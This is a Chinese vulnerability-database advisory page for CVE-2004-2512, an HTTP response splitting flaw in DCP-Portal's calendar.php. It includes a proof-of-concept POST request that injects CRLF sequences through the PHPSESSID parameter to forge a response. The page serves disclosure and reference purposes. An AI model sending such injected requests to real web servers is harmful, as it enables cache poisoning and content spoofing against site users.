DCP-Portal Calendar.PHP HTTP响应拆分漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108209 漏洞类型 输入验证
发布时间 2004-10-06 更新时间 2007-06-19
CVE编号 CVE-2004-2512 CNNVD-ID CNNVD-200412-370
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/24665
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-370
|漏洞详情
DCP-Portal5.3.2及其早期版本的calendar.php存在CRLF注入漏洞。远程攻击者可以借助PHPSESSID参数的CRLF("%0d%0a")序列执行HTTP响应拆分攻击,欺骗web内容和使web缓存器中毒。
|漏洞EXP
source: http://www.securityfocus.com/bid/11340/info

DCP-Portal is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

POST /calendar.php?show=full_month HTTP/1.1
Host: dcp-portal
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

PHPSESSID=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScanned%20by%20PTsecurity%3c/html%3e%0d%0a&s=1&submit=1
|参考资料

来源:XF
名称:dcpportal-phpsessid-response-splitting(17640)
链接:http://xforce.iss.net/xforce/xfdb/17640
来源:BID
名称:11340
链接:http://www.securityfocus.com/bid/11340
来源:OSVDB
名称:10591
链接:http://www.osvdb.org/10591
来源:SECTRACK
名称:1011481
链接:http://securitytracker.com/id?1011481
来源:SECUNIA
名称:12751
链接:http://secunia.com/advisories/12751
来源:BUGTRAQ
名称:20041006[MaxpatrolSecurityAdvisory]MultiplevulnerabilitiesinDCP-Portal
链接:http://archives.neohapsis.com/archives/bugtraq/2004-10/0042.html